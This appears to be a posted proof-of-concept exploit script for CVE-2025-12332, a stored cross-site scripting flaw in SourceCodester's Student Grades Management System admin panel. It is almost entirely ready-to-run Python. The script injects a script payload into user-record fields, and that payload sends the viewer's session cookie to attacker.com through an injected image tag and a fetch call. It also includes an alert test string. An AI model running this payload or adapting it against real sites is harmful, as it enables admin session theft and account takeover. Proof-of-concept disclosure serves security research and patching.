CVE-2025-12332 SourceCodester学生成绩管理系统存储型XSS漏洞

# CVE-2025-12332 PoC - SourceCodester Student Grades Management System XSS # Author: Security Researcher # Target: /admin.php delete_user function # Type: Stored XSS import requests import argparse def exploit_xss(target_url, admin_cookie): """ Exploit CVE-2025-12332: Stored XSS in delete_user function This PoC demonstrates how to inject malicious JavaScript code through the user management functionality. """ # Malicious payload - steals admin cookies xss_payload = '''<script> // Cookie stealing script document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); // Or perform session hijacking fetch('http://attacker.com/log?data=' + encodeURIComponent(document.cookie)); </script>''' # Target endpoint for user creation/editing target_endpoint = f"{target_url}/admin.php" # Request headers headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for creating/editing user with XSS data = { 'action': 'save_user', # or 'add_user' depending on implementation 'username': f'testuser{xss_payload}', 'fullname': f'Test User<script>alert("XSS")</script>', 'email': '[email protected]', 'password': 'password123' } try: # Send the malicious request response = requests.post(target_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload will execute when admin views user list or deletes user") print(f"[*] Target: {target_endpoint}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12332 PoC') parser.add_argument('--url', required=True, help='Target URL') parser.add_argument('--cookie', required=True, help='Admin session cookie') args = parser.parse_args() exploit_xss(args.url, args.cookie)